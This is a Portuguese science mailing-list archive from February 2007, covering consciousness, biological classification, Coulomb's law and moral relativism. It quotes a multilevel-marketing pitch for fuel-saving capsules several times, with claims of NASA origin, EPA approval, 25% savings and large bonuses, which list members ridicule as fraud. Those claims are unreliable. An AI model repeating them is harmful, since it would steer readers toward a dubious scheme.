Então conheça o negócio entre em contato para sanar suas dúvidas e vamos trabalhar juntos neste negócio, que sem dúvida é a melhor oportunidade em Marketing Multinível de hoje.

Abraços e muito sucesso pra você!

Pedro Binsfeld

53-84014584

voipsolutions@terra.com.br













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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Onde "mora" a consciência?
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 14:35

[ Com a chegada de est�mulos externos ou internos, os neur�nios s�o recrutados em uma esp�cie de "assembl�ia". Essa atua��o em un�ssono � que gera o pensamento consciente. ]
..................................

UOL - LI��O DE CASA - ATUALIDADES
C�rebro e mente

De onde vem a consci�ncia individual e �nica?
Ag�ncia Fapesp/Alysson Muotri


Foto Neur�nios (em verde): suas conex�es podem ser a base biol�gica da mente



O c�rebro de cada ser humano � especial e corresponde a uma consci�ncia individual �nica. O que os cientistas se perguntam � como esse �rg�o de bilh�es de terminais nervosos se torna uma mente.

Essa quest�o ainda desafia a ci�ncia, mas as �ltimas pesquisas indicam que a resposta est� nas conex�es entre as c�lulas cerebrais.

Existem �reas do c�rtex cerebral relacionadas a determinadas fun��es, como tato, fala ou vis�o, mas a correspond�ncia entre fun��es e regi�es cerebrais n�o � exclusiva.

Como numa orquestra
Cada regi�o trabalha como um instrumento de uma orquestra, que atua na hora certa para combinar-se com v�rias outras e realizar uma fun��o.

A fun��o da fala ativa ao mesmo tempo regi�es diferentes do c�rtex - nem sempre as mesmas. Conforme cada a��o relacionada - escutar, falar ou pensar as palavras - as regi�es ativadas variam.

"O resultado total � maior do que a soma das partes. Por isso, n�o podemos isolar as atividades cerebrais", diz Susan Greenfield, neurocientista da Universidade de Oxford, na Inglaterra e diretora do Royal Institution, um centro cient�fico brit�nico de 207 anos .

Primorosa combina��o individual
Por esse motivo, n�o parece sensato acreditar que a ci�ncia um dia descobrir� um jeito de influenciar caracter�sticas, como habilidade para m�sica ou tend�ncias criminosas, a partir da interven��o no c�rebro.

O c�rebro � uma primorosa combina��o individual, sens�vel ao ambiente externo. Podem-se estimular partes dele, mas n�o enfocar fun��es, que s�o produtos da totalidade.

"Ao alterar um componente, mexemos em todos os outros", acrescenta a professora. Tamb�m n�o se pode esperar que haja liga��o direta entre caracter�sticas gen�ticas e fun��es mentais.

Experimento com ratos
Embora haja enfermidades relacionadas a um �nico gene, como a doen�a de Huntington, a coisa n�o � t�o simples.

Um experimento com ratos que possu�am o gene dessa doen�a degenerativa confinou metade dos animais em ambiente com apenas �gua e comida. O restante ficou num ambiente enriquecido com atividades que estimulavam a a��o, como rodas e labirintos.

Os ratos no ambiente enriquecido desenvolveram a doen�a mais tarde e em velocidade muito mais lenta. Para a pesquisadora Susan, isso mostra como o ambiente � determinante.

O corpo humano possui cerca de 30 mil genes, enquanto o c�rebro tem em torno de 10 milh�es de conex�es. "Certamente, o gene n�o pode ser o centro da pessoa que voc� �", diz Susan.

Drogas desmontam a consci�ncia
O ser humano nasce com todas as c�lulas cerebrais, mas suas conex�es aumentam incrivelmente nos dois primeiros anos de vida.

Quanto maior o n�mero de conex�es, maior o repert�rio mental e maior a individualidade daquela pessoa. � ali que a consci�ncia acontece. Cada pensamento muda as conex�es cerebrais e a experi�ncia pode aument�-las.

Doen�as como o mal de Alzheimer e a dem�ncia desmontam essas conex�es e a pessoa vai perdendo a individualidade. Mas, em geral, quanto mais o doente exercita a mente, mais devagar ocorre o desmonte.

Al�m das doen�as, a a��o das drogas tamb�m impede as conex�es e causa esse efeito de perda da individualidade.

Onde mora a mente
O c�rebro humano tem apenas 25% de sua �rea cortical ocupada com o processamento dos sentidos, est�mulos e respostas motoras. O restante � ocupado pelo c�rtex pr�-frontal. Essa � a �rea que est� relacionada ao car�ter e � individualidade - mas n�o se sabe ainda como isso acontece.

O c�rtex pr�-frontal, onde fica a maior parte dos neur�nios, forma �reas de associa��o que integram informa��es novas com outras preexistentes, emocionais e cognitivas.

Com a chegada de est�mulos externos ou internos, os neur�nios s�o recrutados em uma esp�cie de "assembl�ia". Essa atua��o em un�ssono � que gera o pensamento consciente.



Com informa��es da Ag�ncia FAPESP.




Copyright UOL. Todos os direitos reservados.
� permitida a reprodu��o apenas em trabalhos escolares, sem fins comerciais e desde que com o devido cr�dito ao UOL e aos autores.



[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Mais teorias alternativas no Yahoo Respostas...
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 15:18

Olá César A. K. Grossmann

Não sei se é bem esse o problema, mas que eu saiba a distância pode
ser maior do que o tempo devido a aceleração da expansão do universo.
Por ex. o tempo estimado do nosso universo é de 14 bilhões de anos,
mas o raio é de 23 bilhões de anos-luz (o espaço se dilatou no tempo).

Inté+
Mauro



SUBJECT: Re: Classificacao dos seres vivos (ex-Qual o objetivo da discussão?)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 15:45

--- Em ciencialist@yahoogrupos.com.br, "brudna" <lrb@...> escreveu
> Quando crianca eu ouvia falar em 'Reino Mineral'.

Como dito, Lineu classificara as coisas da natureza em três reinos:
mineral, animal e vegetal. Como curiosidade, Lineu tb criou a
categoria 'Império' - com um único grupo 'Império Natural', q reunia
os três reinos e se referia ao mundo fenomenológico.

Em relação à pronúncia dos termos Archaea (eu realmente escrevi errado
na mensagem anterior), Bacteria e Eukarya, Torres tb se adiantou. Eu
acrescento apenas q existe uma controversa em relação ao dígrafo 'ae'.
Alguns filólogos - entre os quais os do grupo q elaboram o Zorélio -
defendem q se apronuncia como 'ái'. Uma das justificativas é que
Caesar deu no alemão Kaiser (porq a pronúncia alemã - uma língua
neogermânica - seria mais reveladora do q a pronúncia neolatina eu não
sei exatamente). Como adendo tb baseado em casos como o de Caesar ->
Kaiser, esses filólogos defendem q o 'c' em latim era pronunciado mais
ou menos como no italiano atual 'tch' mm diante de fonemas como /e/ e
/i/, q em muitas línguas neolatinas é abrandado para o sibilante /s/.

[]s,

Roberto Takata



SUBJECT: Re: Fw: Trabalho Meio Ambiente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 15:48

Para figuras, ela pode consultar mecanismos de busca como Google -
pode usar palavras-chave como "poluição atmosférica" ou "poluição do
ar"...

Se for para uso em trabalho discente não deve gerar problemas de
copirráite.

Fotos antigas de Cubatão devem ser bem ilustrativas. Algumas fotos de
Pequim tb podem ajudar.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> To Takata e assessores ambientais.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Casolman Caldeiraria Solda e Manuteção
> Para: leobarretos@...
> Enviada em: quinta-feira, 22 de fevereiro de 2007 10:59
> Assunto: Trabalho Meio Ambiente
>
>
> Bom dia, Leo
> Sou estudante técnico em Meio Ambiente,no segundo período.
> Estava fazendo um pesquisa sobre poluição do ar, fatores e tudo mais
quando achei sua matéria
> Estou precisando de mais material para a apresentação figuras o que
for sobre poluição do ar,
>
> Obrigada
> Espero sua resposta,
> ecmca@...
> casolman@...



SUBJECT: Re: [ciencialist] OT--- Fw: melhora do funcionamento do motor, economia de combustível e proteção ao efeito estufa
FROM: "Fabricio Braga" <fabribraga@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 15:50

Nossa... pensei que essas coisas ( Amway, Net Food, e afins) já tinham
acabado. Agora essas cápsulas de economia de combustível.

A idéia de fazer pirâmide (suavemente chamada de "Marketing Multinível") com
isso é até engraçada. :o)

[]s
Fabricio Braga




On 2/22/07, Oraculo <oraculo@atibaia.com.br> wrote:
>
> Olá Leo
>
> Bem, comprar, não vou, mas se ele se interessar em trocar por excelentes
> duendes que trazem sorte e dinheiro, eu topo..:-) Digamos, um duende por
> cada bonus de 100 dolares que ele receber, me parece um bom negócio,
> não?..:-)
>
> Um abraço.
>
> Homero
>
> PS: Fraude por fraude, acho as piramides mais engraçadas..:-)
>
> ----- Original Message -----
> From: Luiz Ferraz Netto
> To: ciencialist
> Sent: Thursday, February 22, 2007 1:22 PM
> Subject: [ciencialist] OT--- Fw: melhora do funcionamento do motor,
> economia de combustível e proteção ao efeito estufa
>
> Tem até youtube!
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Pedro C. Binsfeld
> Para: leobarretos@uol.com.br <leobarretos%40uol.com.br>
> Enviada em: quarta-feira, 21 de fevereiro de 2007 14:50
> Assunto: melhora do funcionamento do motor, economia de combustível e
> proteção ao efeito estufa
>
> Ola Leo,
>
> meu nome é Pedro C. Binsfeld e quero lhe apresentar um grande negócio, uma
> grande oportunidade em Marketing Multinivel:
>
> A FFI - Fuel Freedom International está chegando ao Brasil ! Uma
> multinacional americana presente já em 186 paises, com um produto que foi de
> uso exclusivo da Nasa e veio para revolucionar o mercado de combustíveis -
> são as MPG-CAPS ! Cápsulas que proporcionam uma economia de de 7 a 14% ou
> mesmo até 25% no tanque de combustível.
>
> Não tenha duvidas de que o produto é confiável, pois é testado e aprovado
> pelos mais respeitáveis órgãos dos EUA, como o EPA (Agência de Proteção
> Ambiental dos EUA) com registro nº201220001 que é válido no território
> brasileiro.
>
> Os Ganhos oferecidos pela FFI são inacreditáveis, os bônus são pagos em
> dólares semanalmente, há distribuidores ganhando de 100,00 U$ , há 3.000,00
> U$ semanais!! E o que me impressionou na empresa é a velocidade com que isso
> acontece. Enfim, uma oportunidade que veio para proporcionar uma qualidade
> de vida muito melhor a milhares de Brasileiros.
>
> Quanto ao produto pode se dizer, sem dúvidas, que não há concorrente;
> trata-se de cápsulas que devem ser colocadas no taque de combustível e
> proporcionam uma economia de até 25 % de seus gatos com combustível!
>
> Estamos Recrutando líderes em Marketing Multinivel para fazerm parte do
> topo da empresa no Brasil. Neste site você encontrará todas as informações
> de que necessita para aderir a miha rede, onde terá treinamento e suporte,
> inclusive um website para divulgação de seu negócio além do website oficial
> que a empresa lhe fornecerá, você poderá ver o meu site pessoal clicando
> http://www.rsteam.myffi.biz/portuguese/
>
> Assim, juntos usaremos o poder da internet para divulgar a FFI, Explore o
> conteúdo deste site, assista as apresentações, e me contate para
> esclarecermos suas dúvidas, queremos líderes comprometidos que queiram
> desenvolver este negócio incrível aqui no Brasil; e a FFI dá também suporte
> para desenvolver redes no exterior, é só dar uma olhada no site oficial que
> a empresa disponibilizará a você.
>
> Conhecendo você o Marketing Multinível ou não, receberá ajuda para
> desenvolver o negócio, o convido a integrar minha rede que certamente visará
> o crescimento de todos os seus membros. Sugiro que estude todos os tópicos
> entre em contato pelo e-mail voipsolutions@terra.com.br<voipsolutions%40terra.com.br>para receber mais informaçoes e estabelecer contato comigo onde te
> apresentarei a oportunidade com mais detalhes:
>
> Veja por exemplo um video no youtube, onde uma TV americana testa as
> pastilhas MPG-CAPS:
>
> http://www.youtube.com/watch?v=YK7NZLZBGyM
>
> Vídeo
>
> Faça o download desta apresentação do plano marketing multinivel binário
> da FFI:
>
> Slides
>
> Então conheça o negócio entre em contato para sanar suas dúvidas e vamos
> trabalhar juntos neste negócio, que sem dúvida é a melhor oportunidade em
> Marketing Multinível de hoje.
>
> Abraços e muito sucesso pra você!
>
> Pedro Binsfeld
>
> 53-84014584
>
> voipsolutions@terra.com.br <voipsolutions%40terra.com.br>
>
> ----------------------------------------------------------
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007
> 17:40
>
> [As partes desta mensagem que não continham texto foram removidas]
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 15:52

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> interligada (um pleonasmo, eu sei), e pensar em "ser livre" não é
> uma opção factivel.

Uma alternativa de longo prazo é promover a extinção de outras
espécies. Com isso os seres humanos não terão mais como interagir com
esses organismos - e tenderão a se adaptar evolutivamente (a medida
não pode ser radical, devendo ser implementada lentamente pois a
adaptação pode levar muito tempo).

Dessa forma o ser humano poderá ser independente de outras formas de vida.

[]s,

Roberto Takata



SUBJECT: P/ Manuel - Re: Qual o objetivo da discussão?
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 16:10

Olá Manuel

Manuel: "Manuel (dando uma de Bradoke só para enfezar o Oráculo)"

risos..:-) Por favor, você difere do Bradock/Tagore/RTJunior/Romano/etc/junior na mesma medida que bactérias diferem de primatas (só para enfezar o troll..:-). E suas correções à minhas afirmações são sempre muito bem vindas e bem colocadas.

Realmente, o termo flora, e não fauna, intestinal é mais usado e, me parece, mais correto. Ainda assim, bactérias, como animais, se alimentam de outros seres vivos, e muitas de carne, com comportamento mais animal que vegetal. A nova classificação, monera, é um ajuste, acho, e não vejo muito problemas em usar o termo genérico "animais" para bactérias.

Em especial, para "enfezar" a Bruna (brincadeira, Bruna..:-)

Lembro, reforçando a mensagem do Takata, que Tenias eram vendidas como "alternativas naturais de emagrecimento" no começo do século passado, para moçoilas que não desejavam se abster de comer de tudo. Não recomendo, mas foi uma interessante alternativa.

O que eu tentei demonstrar para Bruna foi simplesmente a impossibilidade de viver SEM outros seres vivos (inclusive animais), e SEM se "apreveitar" dos mesmos, e SEM que estes se aproveitem de nós (como os ácaros que vivem nos nossos cílios e se alimentam de pele morta). A vida na Terra evoluiu, por bilhões de anos, como uma teia interligada (um pleonasmo, eu sei), e pensar em "ser livre" não é uma opção factivel.

Um abraço.

Homero





----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 22, 2007 12:51 AM
Subject: [ciencialist] Re: Qual o objetivo da discussão?


Olá Bruna e Homero,

Bruna: "O intento é sermos livres, a começar por não dependermos dos
animais não-humanos."

Homero: Sinto muito, isso jamais vai acontecer. Toda sua fauna
intestinal, necessária a sua sobrevivência, deve continar a existir,
e você a depender dela. Sei que como é uma fauna microscópica...

Manuel (dando uma de Bradoke só para enfezar o Oráculo): Se o amigo
alberga uma fauna intestinal, aconselho-o a tomar um vermífugo
urgentemente; pois tênias e lombrigas (que são animais) não só não
são necessárias à nossa sobrevivência como são parasitas altamente
nocivos. E ninguém depende dessa fauna, a não ser os que trabalham no
setor de antelmínticos da indústria farmacêutica e certos indivíduos
anti-higiênicos com fixação anal que mantêm com seus oxiúros forte
dependência erótica.

Lembro também que essa fauna intestinal não é microscópica: a Taenia
solium é enorme e pode alcançar oito metros de comprimento.

Atualmente, a taxonomia científica mais aceita é a que divide os
seres vivos em cinco reinos: os animais, as plantas, os fungos, os
protistas e as moneras. Os microrganismos que vivem em nossos
intestinos e com os quais mantemos relações simbiônticas são
bactérias e foram descobertas na década de 50 do século XX por Kasey
Shirota. Nessa época, a classificação da vida em reinos mais adotada
era dualista: Plantae (que incluía, além das plantas, as bactérias e
os fungos) e Animalia (que compreendia os heterotróficos
pluricelulares e os protozoários). Por isso, Shirota designou o
conjunto dessas bactérias de "flora" intestinal".

Hoje, as bactérias não são mais consideradas vegetais, mas organismos
unicelulares que, por não possuírem núcleo protegido por membrana,
pertencem ao reino das moneras (monera significa "estrutura simples").

A designação mais corrente do conjunto de nossas companheiras
bactérias ainda é "flora" intestinal, e isso pela mesma razão que os
átomos são chamados de átomos (apesar de se saber, hoje, que os
átomos são divisíveis).

Abraços,
Manuel Bulcão





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SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 16:12

Romano:

Você escreveu: "Mas te digo, inteligência e formação cultura-científica não garante a inteligencia de uma pessoa".

Se a pessoa tem inteligência além de outros atributos, como essa mesma inteligência não garante que a pessoa possa ter inteligência?
Ouví falar em uma tal de lógica: ela se aplica neste caso??
Aristóteles disse que todos os entes são sensíveis ou inteligentes.
A inteligência é o objeto do intelecto que tanto a capacidade geral de pensar ou uma atividade ou técnica particular de pensar que tem três vertentes: intuitiva, operante, entendimento.

Pior é gastar esse latim com baratas que são insetos, não são do nosso gênero....

sds.,

silvio

----- Original Message -----
From: jvictor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 5:06 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Olá, Romano,

Romano-170(repuz os 100):
No seu email voce tentou me desqualificar , apelando para formações,
etc e escambau. Digo e repito, inteligencia não tem nada a ver com
formação nenhuma, inclusive física e matemática. Voce tb não é físico,
e discute aqui não? Não vai comparar a formação de um físico teórico
com a de um engenheiro eletrônico. Mas te digo, inteligência e
formação cultura-científica não garante a inteligencia de uma pessoa.

Victor: Se entendeu assim, peço desculpas.Não foi de maneira alguma esta, a minha intenção; além disso, procuro evitar expedientes desse tipo( a não ser que me futuquem...). Mas se eu começar a falar sobre biologia, química, geografia, você, se for sabidinho em algumas delas, descobrirá, sem sombras de dúvidas, que não sei do que estou falando, não com propriedade, com segurança. Capturaste, agora?

Sobre o conteúdo do texto,mantenho tudo que está alí, e continuo achando que você está equivocado, naturalmente, se comparado ao meu quadro de referências. Por isso,não comentarei o restante de seu texto.

Sds,

Victor

----- Original Message -----
From: romano_170
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 1:13 PM
Subject: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )

Victor ,

Não há diferenças entre leis físicas e leis morais. Sem amor a
existencia é impossível. Não há relativismo algum nisso. Vou explicar.
O que existe uma irrefletida maneira e de pensar de determinadas
culturas e povos(mas não que o relativismo seja verdadeiro para cada
cultura) - O que pesa nestas culturas? A falta de conhecimento é uma
das coisas que contribuem para o relativismo, o fato de um aborígene
desconhecer as leis da física, e praticar canibalismo, não faz da
cultura dele mais certa eticamente e intelectual que a nossa. Se ele
não tiver os conhecimentos necessários, a vida deles será vivida
pobremente, sem nenhum conceito de moralidade ou ciência. Um ser ou
uma civilização esclarecida não colocaria outro ser humano num
caldeirão com cebola. Então não tem essa de que eles estão certos e
que a moral deles é válida só porque fazem isso. Então, segundo seu
raciocínio, se eles desconhecem a moralidade, eles tb desconhecem a
física, e as leis física pra eles não tem nenhuma validade pra eles,
eles viveriam muito bem sem elas.
Se eles desconhecem a moral e a física, e praticam canibalismo, o
canibalismo pra cultura deles pode ser tão verdadeiro como as
descobertas da física? Voce aceitaria isso? Obviamente que não,
obviamente diria que nós fizemos ciência e eles não. Então há
diferença entre os povos civilizados e os povos aborígenes! É um fato

Vamos ver o problema do seu raciocínio: Se assim fosse deveríamos
deixar governos como o Taliban dominar o mundo, já que cada cultura
possue a sua verdade. E diríamos que aquela forma de governo opressora
é válida . Hitler e Mussolini poderiam ter tacado uma bomba em
qualquer país, ter matado mais judeus e ciganos, ora bolas, afinal, a
moralidade dele pode ser tão correta quanto a nossa! :-)

A universalidade das leis morais tem tanto valor para a humanidade
como as leis da física, pois dela depende o entrosamento dos homens
daí a dificuldade dos cientistas em lidar com a religião ou a
filosofia. A ciencia existe porque existe o amor pela humanidade. Se
assim não fosse, não tinha razão de ser. Voce está vivo porque seus
pais o amaram e voce ama seus filhos.

No seu email voce tentou me desqualificar , apelando para formações,
etc e escambau. Digo e repito, inteligencia não tem nada a ver com
formação nenhuma, inclusive física e matemática. Voce tb não é físico,
e discute aqui não? Não vai comparar a formação de um físico teórico
com a de um engenheiro eletrônico. Mas te digo, inteligência e
formação cultura-científica não garante a inteligencia de uma pessoa

Abs,Romano

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Romano_170,
>
>
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 3:25 PM
> Subject: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne: enfim o método )
>
>
> Romano: Não concordo.
>
> Victor: Este é um direito que você tem.
>
> Romano_170: Existem leis naturais universais válidos pra qualquer
cultura, o amor é uma delas, o ódio em qualquer cultura é prejudical,
nos leva a matar
> e cometer todos os tipos de atrocidades.
>
> Victor: Mas não se trata disso, da influência do emocional, que
esta é comum ao ser humano, qualquer que seja o contexto em que este
esteja inserido. Mesmo assim, já que falou, o emocional é engolido
pelos costumes de tal ou qual sociedade, tem seu valor minimizado ou
desconsiderado quando se trata de fazer justiça, o que quer seja isso
para determinada sociedade. O que achamos um destempero, uma coisa de
uma crueldade sem limites, um comportante alguns milhões de vezes
maior que o animalesco(que não exibe emoções, move-o apenas o instinto
de preservação individual e da espécie), para outras civilizações não
é, de jeito nenhum assim. Povos antigos, considerados civilizados e
avançados em certos conhecimentos, como os maias ou astecas, não
tinham tais ingredientes em seu cardápio do uso deles de cada dia. Era
comum, muito comum, como prêmio, jogarem "bola" com a cabeça dos
vencidos numa batalha! Tratava-se de uma mera diversão e o prazer do
escárnio ao vencido, que perdia interiramente o valor de humano. Onde
está a emoção, aí? Não sentiam ´"pena", "dó" ou tinha quaisquer
sentimentos do errado, do condenável. Ainda hoje há sociedades que
exibem tradições milenares bizarras, onde o o sentimento de amor,
ódio, ou o que seja, nem fedem nem cheiram.
>
> Ou seja, tais comportamentes sociais nada têm a ver com o tipo de
coisa que outras sociedades possam pensar a respeito. O que uma pensa
em relação à outra é absoluta e reciprocamente transparente.
>
> Em suma, o que disse no e-mail anterior e em outros, refere-se
exclusivamente ao comportamento e posturas sociais apenas naquele meio
social. Referia-me, e acho que foi desnecessário explictar isso, à
realidade e às verdades inerentes a tal ou qual grupamento social. O
que nós, ou outras sociedades achamos a respeito em absoluto não
atinge as outras, como já enfatizei, e repito agora. E estas, também,
não compreendem a razão pela qual pensamos e agimos assim, que para
elas está errado, é um absurdo, que estão certíssimas. Ou seja, do
mesmo jeito que pensamos a respeito delas. É o tal caso: vale o
vice-versa e o versa-vice. E nada podemos tascar a respeito.
>
>
> Romano_170: Se as leis da física valem em qualquer lugar da Terra,
as leis morais
> tb são válidas a qualquer cultura. Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas. Pelos direitos
> humanos universais, todo mundo merece um julgamento digno. Enfim, é um
> assunto muito discutível
>
> Victor: Não podemos, sob hipótese alguma, fazer comparações
entre as leis da física, estas sim, universais, e "leis morais", que
são de um relativismo que faz pena, conforme discutido no
questionamento anterior, onde, particularmente, usei exemplos simples
e possíveis de situações que mostram claramente essa maleabilidade no
que se refere a conceitos do tipo discutido neste e-mail e nesta
thread. São duas coisa tão diferentes quanto um ser vivo e uma pedra.
Fico com a impressão de que o amigo não tem a mínima idéia do que
sejam leis físicas; pois incluí-la num contexto desse tipo, buscando
ancoramento para justificar uma "universalidade" de leis morais, ou
que isto seja, é, queira me desculpar, no mínimo, um disparate. Pelo
que denota, apenas, desconhecimento do que está tratando. Não sei
sua formação. Só sei, agora, que ela nada a ver com física ou
matemática. Se for filósofo, ou estudante de filosofia, pior ainda.
Mas sugiro, fortemente, que, antes de fazer uma dessas tolas
analogias, até por respeito aos que sabidamente não são da área
científica, nem querem saber dessas coisas, embora saibam muitas
outras, que os da área nem desconfiam, procure informar-se melhor a
respeito de um dos objetos referenciados. Por isso, vou tirar 100
pontos de você. Será, agora, apenas "romano_70"!
>
> Romano_70: Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas. Pelos direitos
> humanos universais, todo mundo merece um julgamento digno. Enfim, é um
> assunto muito discutível.
>
> Victor: Repetí o texto acima, de certa forma já comentado, para
tecer mais alguns comentários. Você diz: " Não podemos dar como normal
o linchamento de pessoas em determinadas culturas". Embora isto não
seja verdadeiro sequer para nós, que "não achamos normal", só quero
lembrar que não está se tratando de acharmos ou não normal tal ou qual
comportamento de determinadas culturas. Trata-se, apenas, do que esta
cultura acha ou entende como certo para ela! Tratam-se de suas
realidades inerentes, atreladas aos costumes e tradições daquela
determinada sociedade. O certo ou errado, refere-se à cultura em si.
Não ao que pensam outras culturas, que têm, de maneira igualmente
corretas suas tradições e comportamentos. O que uma acha em relação a
outra, vice-versa, é irrelevante. Agora, voltemos um pouquinho cá
para dentro de nossa sociedade, que se arvora o direito de ter as
verdades absolutas: o que pensamos, muitos de nós, ante uma
atrocidade como aquela que ocorreu com o garoto João, ou com o o
sequestro, estupro e assassinato de duas garotas estudantes de 10 e 13
anos, aquí em Pernambuco? Garanto uma coisa: uma boa parte da
população trucidaria, sem remorsos posterioes, os bandidos que
cometeram os desatinos. Ou não é assim? Mas empunhamos o cajado da
justiça e da retidão para criticar comportamentos às vezes tão crueis
quanto os que você cita, como base para seus argumentos. Agora, admito
que há uma coisa que pode ser universal: a hipocrisia. Todos merecem
um julgamento digno, você diz certo. Mas até o conceito de "julgamento
digno" é varíavel também. De uma fluidez que dá gosto! Depende da
sociedade, e o caráter fluídico do conceito está diretamente ligado
ao que NÓS pensamos a respeito do que pensa aquela determinada
sociedade.
>
> " Enfim, é um assunto muito discutível.", conforme você conclui
sua própria prosopopéia. Mas é disso que estamos tratando, durante
todo o tempo.
>
> Sds,
>
> Victor.
>
>
>
> Sds,Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@> escreveu
> >
> > Ricardo,
> >
> > Você fechou claramente o que tentei expor com exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética, religião,
> comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é
> de uma clareza, sobre o que não tenho dúvidas, o que me economiza o
> tempo de estar elaborando perguntas e mais perguntas. Minha realidade
> é minha realidade. A de outros, é a de outros. Que só depende do lugar
> e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina
> que eu, civilizado como penso que sou, tivesse nascido em uma tribo
> brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de
> perna, um... Se não fosse ela, seria eu. Bem, já almocei.
> >
> > Sds,
> > Victor.
>
>
>
>
>
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SUBJECT: Lei de Coulomb
FROM: "Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/02/2007 16:12

Em http://en.wikipedia.org/wiki/Coulomb's_law

temos a descrição da lei de Coulomb. Minha dúvida é a seguinte. A
fórmula que descreve a lei de coulomb é:

Vector quantity
F = q1.q2/r^2

Já para a energia potencial de duas cargas, a fórmula é:

Scalar quantity
U = q1.q2/r

Por que a energia potencial depende apenas de 'r' e não de 'r^2' como a
lei de coulomb? Quais caminhos devem ser realizados para se chegar na
equação de energia potencial.

Obrigado,

Emiliano



SUBJECT: Re: [ciencialist] OT--- Fw: melhora do funcionamento do motor, economia de combustível e proteção ao efeito estufa
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/02/2007 16:14

Olá Leo

Bem, comprar, não vou, mas se ele se interessar em trocar por excelentes duendes que trazem sorte e dinheiro, eu topo..:-) Digamos, um duende por cada bonus de 100 dolares que ele receber, me parece um bom negócio, não?..:-)

Um abraço.

Homero

PS: Fraude por fraude, acho as piramides mais engraçadas..:-)


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Thursday, February 22, 2007 1:22 PM
Subject: [ciencialist] OT--- Fw: melhora do funcionamento do motor, economia de combustível e proteção ao efeito estufa


Tem até youtube!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Pedro C. Binsfeld
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 21 de fevereiro de 2007 14:50
Assunto: melhora do funcionamento do motor, economia de combustível e proteção ao efeito estufa

Ola Leo,

meu nome é Pedro C. Binsfeld e quero lhe apresentar um grande negócio, uma grande oportunidade em Marketing Multinivel:

A FFI - Fuel Freedom International está chegando ao Brasil ! Uma multinacional americana presente já em 186 paises, com um produto que foi de uso exclusivo da Nasa e veio para revolucionar o mercado de combustíveis - são as MPG-CAPS ! Cápsulas que proporcionam uma economia de de 7 a 14% ou mesmo até 25% no tanque de combustível.


Não tenha duvidas de que o produto é confiável, pois é testado e aprovado pelos mais respeitáveis órgãos dos EUA, como o EPA (Agência de Proteção Ambiental dos EUA) com registro nº201220001 que é válido no território brasileiro.

Os Ganhos oferecidos pela FFI são inacreditáveis, os bônus são pagos em dólares semanalmente, há distribuidores ganhando de 100,00 U$ , há 3.000,00 U$ semanais!! E o que me impressionou na empresa é a velocidade com que isso acontece. Enfim, uma oportunidade que veio para proporcionar uma qualidade de vida muito melhor a milhares de Brasileiros.

Quanto ao produto pode se dizer, sem dúvidas, que não há concorrente; trata-se de cápsulas que devem ser colocadas no taque de combustível e proporcionam uma economia de até 25 % de seus gatos com combustível!

Estamos Recrutando líderes em Marketing Multinivel para fazerm parte do topo da empresa no Brasil. Neste site você encontrará todas as informações de que necessita para aderir a miha rede, onde terá treinamento e suporte, inclusive um website para divulgação de seu negócio além do website oficial que a empresa lhe fornecerá, você poderá ver o meu site pessoal clicando http://www.rsteam.myffi.biz/portuguese/

